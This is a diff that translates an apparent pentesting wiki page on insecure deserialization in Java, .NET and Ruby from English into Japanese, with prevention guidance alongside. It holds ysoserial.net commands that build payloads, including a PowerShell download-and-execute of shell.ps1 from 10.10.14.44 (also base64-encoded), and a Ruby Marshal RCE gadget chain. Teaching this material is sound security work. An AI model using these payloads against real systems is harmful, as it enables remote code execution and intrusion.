1.1.1 +javax.activation +activation +1.1.1 - + - com.sun.jndi - rmiregistry - 1.2.1 - pom +com.sun.jndi +rmiregistry +1.2.1 +pom ``` +**Mavenをインストール**し、プロジェクトを**コンパイル**します: -**Install maven**, and **compile** the project: - +```bash +$ sudo apt-get install maven +$ mvn compile +``` ```bash sudo apt-get install maven mvn clean package -DskipTests ``` - #### FastJSON -Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +このJavaのJSONライブラリについて詳しくはこちらを参照してください:[https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) -### Labs +### ラボ -* If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +* ysoserialのペイロードをテストしたい場合は、**このWebアプリを実行**してください:[https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) -### Why +### なぜ -Java LOVES sending serialized objects all over the place. For example: +Javaはシリアライズされたオブジェクトをあちこちに送ります。例えば: -* In **HTTP requests** – Parameters, ViewState, Cookies, you name it. -* **RMI** – The extensively used Java RMI protocol is 100% based on serialization -* **RMI over HTTP** – Many Java thick client web apps use this – again 100% serialized objects -* **JMX** – Again, relies on serialized objects being shot over the wire -* **Custom Protocols** – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come +* **HTTPリクエスト** - パラメータ、ViewState、Cookieなど。 +* **RMI** - 広く使用されているJava RMIプロトコルは、100%シリアライズに基づいています。 +* **RMI over HTTP** - 多くのJavaの厚いクライアントWebアプリがこれを使用しています - 再び100%シリアライズされたオブジェクトです。 +* **JMX** - 再び、シリアライズされたオブジェクトがワイヤー上に送信されることに依存しています。 +* **カスタムプロトコル** - 生のJavaオブジェクトの送受信が一般的です - これについては、いくつかの脆弱性で見ていきます。 -### Prevention +### 予防 -#### Transient objects - -A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example: +#### 一時的なオブジェクト +`Serializable`を実装するクラスは、シリアライズされてはいけないクラス内のオブジェクトを`transient`として実装することができます。例えば: ```java public class myAccount implements Serializable { - private transient double profit; // declared transient - private transient double margin; // declared transient +private transient double profit; // declared transient +private transient double margin; // declared transient ``` +#### シリアライズが必要なクラスのシリアライズを回避する -#### Avoid Serialization of a class that need to implements Serializable - -Some of your application objects may be forced to implement `Serializable` due to their hierarchy. To guarantee that your application objects can't be deserialized, a `readObject()` method should be declared (with a `final` modifier) which always throws an exception: - +アプリケーションの一部のオブジェクトは、階層構造のために`Serializable`を実装する必要がある場合があります。アプリケーションオブジェクトがデシリアライズされないようにするためには、常に例外をスローする`readObject()`メソッドを宣言する必要があります(`final`修飾子を付ける)。 ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { - throw new java.io.IOException("Cannot be deserialized"); +throw new java.io.IOException("Cannot be deserialized"); } ``` +#### デシリアライズする前にデシリアライズされたクラスをチェックする -#### Check deserialized class before deserializing it +`java.io.ObjectInputStream`クラスはオブジェクトをデシリアライズするために使用されます。その動作を強化するために、このクラスをサブクラス化することができます。これは、次の条件が揃っている場合に最適な解決策です。 -The `java.io.ObjectInputStream` class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if: +* デシリアライズを行うコードを変更できる場合 +* デシリアライズすることを期待するクラスを知っている場合 -* You can change the code that does the deserialization -* You know what classes you expect to deserialize +一般的なアイデアは、[`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/jp/7/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass))をオーバーライドして、デシリアライズを許可するクラスを制限することです。 -The general idea is to override [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) in order to restrict which classes are allowed to be deserialized. - -Because this call happens before a `readObject()` is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow. - -A simple example of this shown here, where the the `LookAheadObjectInputStream` class is guaranteed not to deserialize any other type besides the `Bicycle` class: +この呼び出しは`readObject()`が呼び出される前に行われるため、許可したいタイプのクラスでない限り、デシリアライズは行われないことが保証されます。 +以下に、`LookAheadObjectInputStream`クラスが`Bicycle`クラス以外の型をデシリアライズしないことが保証される簡単な例を示します。 ```java public class LookAheadObjectInputStream extends ObjectInputStream { - public LookAheadObjectInputStream(InputStream inputStream) throws IOException { - super(inputStream); - } +public LookAheadObjectInputStream(InputStream inputStream) throws IOException { +super(inputStream); +} - /** - * Only deserialize instances of our expected Bicycle class - */ - @Override - protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { - if (!desc.getName().equals(Bicycle.class.getName())) { - throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); - } - return super.resolveClass(desc); - } +/** +* Only deserialize instances of our expected Bicycle class +*/ +@Override +protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { +if (!desc.getName().equals(Bicycle.class.getName())) { +throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); +} +return super.resolveClass(desc); +} } ``` +**エージェントを使用してすべてのjava.io.ObjectInputStreamの使用を強化する** -**Harden All java.io.ObjectInputStream Usage with an Agent** - -If you don't own the code or can't wait for a patch, using an agent to weave in hardening to `java.io.ObjectInputStream` is the best solution.\ -Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized. - -To enable these agents, simply add a new JVM parameter: +コードを所有していない場合やパッチを待つことができない場合は、エージェントを使用して`java.io.ObjectInputStream`に強化を施すことが最善の解決策です。\ +このアプローチでは、シリアライズされているオブジェクトがわからないため、既知の悪意のあるタイプをブラックリストにすることしかできません。 +これらのエージェントを有効にするには、単に新しいJVMパラメータを追加します: ``` -javaagent:name-of-agent.jar ``` +### 参考文献 -Example: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) - -### References - -* Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +* デシリアライゼーションとysoserialの話:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -* Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -* Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +* gadgetinspectorについてのトーク:[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド:[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +* Marshalsecの論文:[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -* Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +* Javaと.NetのJSONデシリアライゼーションの論文:[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +* デシリアライゼーションのCVE:[https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Injection & log4Shell -Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page: +以下のページで、**JNDIインジェクション**とは何か、RMI、CORBA、LDAPを介してそれを悪用する方法、および**log4shellを悪用する方法**(およびこの脆弱性の例)を見つけてください。 {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) @@ -616,70 +551,68 @@ Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to ## JMS - Java Message Service -> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)). +> **Java Message Service**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー-コンシューマー問題を処理するための実装です。JMSはJava Platform, Enterprise Edition(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Java Community Processによってガイドされています。これは、Java EEをベースにしたアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取りすることを可能にするメッセージングの標準です。分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性があり、非同期で行うことができます。([Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)より) -### Products +### 製品 -There are several products using this middleware to send messages: +このミドルウェアを使用してメッセージを送信するためにいくつかの製品があります: ![](<../../.gitbook/assets/image (291).png>) ![](<../../.gitbook/assets/image (292).png>) -### Exploitation +### 攻撃手法 -So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\ -This means that in this exploitation all the **clients that are going to use that message will get infected**. +したがって、基本的には**JMSを危険な方法で使用している多くのサービス**があります。したがって、これらのサービスにメッセージを送信するための**十分な特権**がある場合(通常、有効な資格情報が必要です)、**シリアライズされた悪意のあるオブジェクトを送信して、コンシューマ/サブスクライバによってデシリアライズされる**ことができます。\ +これは、この攻撃手法では、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。 -You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability. +サービスが脆弱である場合(ユーザーの入力を安全にデシリアライズしていないため)、依然として脆弱性を悪用するための有効なガジェットを見つける必要があることを覚えておく必要があります。 -The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application. +ツール[JMET](https://github.com/matthiaskaiser/jmet)は、既知のガジェットを使用してシリアライズされた悪意のあるオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらの攻撃は、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。 -### References +### 参考文献 -* JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +* JMETのトーク:[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +* スライド:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net -.Net is similar to Java regarding how deserialization exploits work: The **exploit** will **abuse gadgets** that **execute** some interesting **code when** an object is **deserialized**. +.Netは、デシリアライゼーションの脆弱性がどのように機能するかに関してJavaと似ています:**攻撃**は、オブジェクトが**デシリアライズ**されるときに**いくつかの興味深いコードを実行する**ガジェットを**悪用**します。 +### フィンガープリント -### Fingerprint +#### ホワイトボックス -#### WhiteBox - -Search the source code for the following terms: +以下の用語をソースコードで検索します: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Look for any serializers where the type is set by a user controlled variable. +ユーザーが制御可能な変数で型が設定されているシリアライザを探します。 -#### BlackBox +#### ブラックボックス -You can search for the Base64 encoded string **AAEAAAD/////** or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type\*\*.\*\* For example, a **JSON** or **XML** containing `TypeObject` or `$type`. +Base64でエンコードされた文字列 **AAEAAAD/////** またはバックエンドで **デシリアライズ可能なもの** を検索し、デシリアライズされる型を制御できるものを探します。例えば、`TypeObject` や `$type` を含む **JSON** や **XML** です。 ### ysoserial.net -In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example. +この場合、ツール [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) を使用して **デシリアライズのエクスプロイトを作成** することができます。Gitリポジトリをダウンロードしたら、例えばVisual Studioを使用してツールを **コンパイル** する必要があります。 -If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +**ysoserial.netがエクスプロイトを作成する方法について学びたい場合は、ObjectDataProviderガジェット+ExpandedWrapper+Json.Netフォーマッタが説明されているこのページを参照してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). -The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* and **`--plugin`.** +**ysoserial.net** の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および **`--plugin`** です。 -* **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands). -* **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it) -* \*\*`--output` \*\* used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._ -* \*\*`--plugin` \*\* ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState +* **`--gadget`** は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。 +* **`--formatter`** は、エクスプロイトをシリアライズするためのメソッドを示すために使用されます(バックエンドがペイロードをデシリアライズするために使用しているライブラリを知る必要があり、同じライブラリを使用してシリアライズする必要があります)。 +* **`--output`** は、エクスプロイトを **生の形式** または **Base64エンコード** で表示するかを示すために使用されます。_注意してください、**ysoserial.net** はペイロードを **UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)で **エンコード** するため、生の形式を取得してLinuxコンソールからエンコードすると、エンコーディングの互換性の問題が発生し、エクスプロイトが正常に動作しない可能性があります(HTB JSONボックスでは、ペイロードはUTF-16LEとASCIIの両方で動作しましたが、常に動作するわけではありません)。 +* **`--plugin`** ysoserial.netは、ViewStateなどの特定のフレームワークの **エクスプロイトを作成するためのプラグイン** をサポートしています。 -#### More ysoserial.net parameters +#### その他のysoserial.netパラメータ -* `--minify` will provide a **smaller payload** (if possible) -* `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case) -* `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive) - -**ysoserial examples** to create exploits: +* `--minify` は、可能な場合に **より小さなペイロード** を提供します。 +* `--raf -f Json.Net -c "anything"` これにより、指定されたフォーマッタ(この場合は `Json.Net`)で使用できるすべてのガジェットが示されます。 +* `--sf xml` ガジェットを指定することができ、ysoserial.netは "xml" を含むフォーマッタを検索します(大文字小文字を区別しない)。 +**ysoserialの例** エクスプロイトを作成するために使用します: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -697,120 +630,106 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` - -**ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\ -If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\ -This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): - +**ysoserial.net**には、各エクスプロイトの動作をより理解するのに役立つ非常に興味深いパラメーターがあります: `--test`\ +このパラメーターを指定すると、**ysoserial.net**は**ローカルでエクスプロイトを試み**、ペイロードが正しく動作するかどうかをテストすることができます。\ +このパラメーターは便利です。なぜなら、コードを確認すると、次のようなコードの断片が見つかるからです([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)から): ```java - if (inputArgs.Test) - { - try - { - SerializersHelper.JsonNet_deserialize(payload); - } - catch (Exception err) - { - Debugging.ShowErrors(inputArgs, err); - } - } +if (inputArgs.Test) +{ +try +{ +SerializersHelper.JsonNet_deserialize(payload); +} +catch (Exception err) +{ +Debugging.ShowErrors(inputArgs, err); +} +} ``` - -This means that in order to test the exploit the code will call [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) - +これは、エクスプロイトをテストするために、コードが[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)を呼び出すことを意味します。 ```java public static object JsonNet_deserialize(string str) - { - Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings - { - TypeNameHandling = TypeNameHandling.Auto - }); - return obj; - } +{ +Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings +{ +TypeNameHandling = TypeNameHandling.Auto +}); +return obj; +} ``` - -In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\ -Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create. +**前のコードは作成されたエクスプロイトに対して脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、おそらくそのアプリケーションも脆弱です。\ +したがって、**`--test`**パラメータを使用すると、**ysoserial.net**が作成できるシリアライゼーションのエクスプロイトに対して**どのコードのチャンクが脆弱か**を理解することができます。 ### ViewState -Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** +[**.Netの\_\_ViewStateパラメータをエクスプロイトしようとする方法についてのこのPOST**](exploiting-\_\_viewstate-parameter.md)を見て、**任意のコードを実行**してみてください。もし被害者マシンが使用している秘密を**すでに知っている場合は、[このポストを読んでコードを実行する方法を知ってください**](exploiting-\_\_viewstate-knowing-the-secret.md)**。** -### **Prevention** +### **予防方法** -Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the `DataContractSerializer` or `XmlSerializer` if at all possible. - -Where `JSON.Net` is being used make sure the `TypeNameHandling` is only set to `None`. +データストリームがストリームがデシリアライズされるオブジェクトの型を定義することを許可しないでください。可能であれば、`DataContractSerializer`または`XmlSerializer`を使用することでこれを防ぐことができます。 +`JSON.Net`を使用している場合は、`TypeNameHandling`が`None`に設定されていることを確認してください。 ``` TypeNameHandling = TypeNameHandling.None ``` +`JavaScriptSerializer`を使用する場合は、`JavaScriptTypeResolver`と一緒に使用しないでください。 -If `JavaScriptSerializer` is to be used then do not use it with a `JavaScriptTypeResolver`. - -If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g. - +自分自身の型を定義するデータストリームを逆シリアル化する必要がある場合は、逆シリアル化が許可される型を制限してください。ただし、これは依然としてリスクがあることに注意する必要があります。なぜなら、多くのネイティブの .Net 型がそれ自体で潜在的に危険である可能性があるからです。例えば、 ``` System.IO.FileInfo ``` +`FileInfo`オブジェクトは、サーバー上の実際のファイルを参照している場合、逆シリアル化されると、それらのファイルのプロパティ(例:読み取り専用)を変更することができ、潜在的なサービス拒否攻撃を引き起こす可能性があります。 -`FileInfo` objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack. - -Even if you have limited the types that can be deserialised remember that some types have properties that are risky. `System.ComponentModel.DataAnnotations.ValidationException`, for example has a property `Value` of type `Object`. if this type is the type allowed for deserialization then an attacker can set the `Value` property to any object type they choose. - -Attackers should be prevented from steering the type that will be instantiated. If this is possible then even `DataContractSerializer` or `XmlSerializer` can be subverted e.g. +逆シリアル化できるタイプを制限している場合でも、いくつかのタイプにはリスクのあるプロパティがあります。たとえば、`System.ComponentModel.DataAnnotations.ValidationException`には、`Object`型の`Value`プロパティがあります。このタイプが逆シリアル化に許可されている場合、攻撃者は`Value`プロパティを任意のオブジェクト型に設定できます。 +攻撃者がインスタンス化されるタイプを操作できないようにする必要があります。これが可能な場合、`DataContractSerializer`や`XmlSerializer`も乗っ取られる可能性があります。 ``` // Action below is dangerous if the attacker can change the data in the database -var typename = GetTransactionTypeFromDatabase(); +var typename = GetTransactionTypeFromDatabase(); var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); ``` - -Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective. - +特定の .Net タイプのデシリアライズ中に実行が発生する可能性があります。以下に示すような制御を作成しても効果はありません。 ``` var suspectObject = myBinaryFormatter.Deserialize(untrustedData); //Check below is too late! Execution may have already occurred. if (suspectObject is SomeDangerousObjectType) { - //generate warnings and dispose of suspectObject +//generate warnings and dispose of suspectObject } ``` +`BinaryFormatter`と`JSON.Net`では、カスタムの`SerializationBinder`を使用して、より安全なホワイトリスト制御の形式を作成することが可能です。 -For `BinaryFormatter` and `JSON.Net` it is possible to create a safer form of white list control using a custom `SerializationBinder`. +既知の.Netの脆弱な逆シリアル化ガジェットについて最新情報を把握し、逆シリアル化プロセスでそのような型が作成される可能性がある場所に特に注意を払いましょう。**デシリアライザは、自身が知っている型のみをインスタンス化することができます**。 -Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. **A deserializer can only instantiate types that it knows about**. +潜在的なガジェットを作成する可能性のあるコードを、インターネットに接続するコードから分離するようにしましょう。例えば、WPFアプリケーションで使用される`System.Windows.Data.ObjectDataProvider`は、任意のメソッド呼び出しを許可する既知のガジェットです。これを信頼できないデータを逆シリアル化するRESTサービスプロジェクトの参照に含めることはリスクが高いです。 -Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example `System.Windows.Data.ObjectDataProvider` used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data. +### **参考文献** -### **References** - -* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +* Javaと.NetのJSON逆シリアル化に関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 発表: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Ruby has two methods to implement serialization inside the **marshal** library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load** to convert bytes stream to object again (**deserialize**).\ -Ruby uses HMAC to sign the serialized object and saves the key on one of the following files: +Rubyには、**marshal**ライブラリ内でシリアル化を実装するための2つのメソッドがあります。最初のメソッドはオブジェクトをバイトストリームに変換する**dump**です(**シリアライズ**)。そして、2番目のメソッドはバイトストリームをオブジェクトに再変換するための**load**です(**デシリアライズ**)。 +Rubyは、シリアル化されたオブジェクトにHMACを使用して署名し、キーを以下のいずれかのファイルに保存します: * config/environment.rb * config/initializers/secret\_token.rb * config/secrets.yml * /proc/self/environ -Ruby 2.X generic deserialization to RCE gadget chain (more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)): - +Ruby 2.Xの一般的な逆シリアル化からRCEガジェットチェーン(詳細は[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)を参照): ```ruby #!/usr/bin/env ruby class Gem::StubSpecification - def initialize; end +def initialize; end end @@ -823,7 +742,7 @@ puts class Gem::Source::SpecificFile - def initialize; end +def initialize; end end specific_file = Gem::Source::SpecificFile.new @@ -845,9 +764,9 @@ puts class Gem::Requirement - def marshal_dump - [$dependency_list] - end +def marshal_dump +[$dependency_list] +end end payload = Marshal.dump(Gem::Requirement.new) @@ -859,10 +778,10 @@ puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby 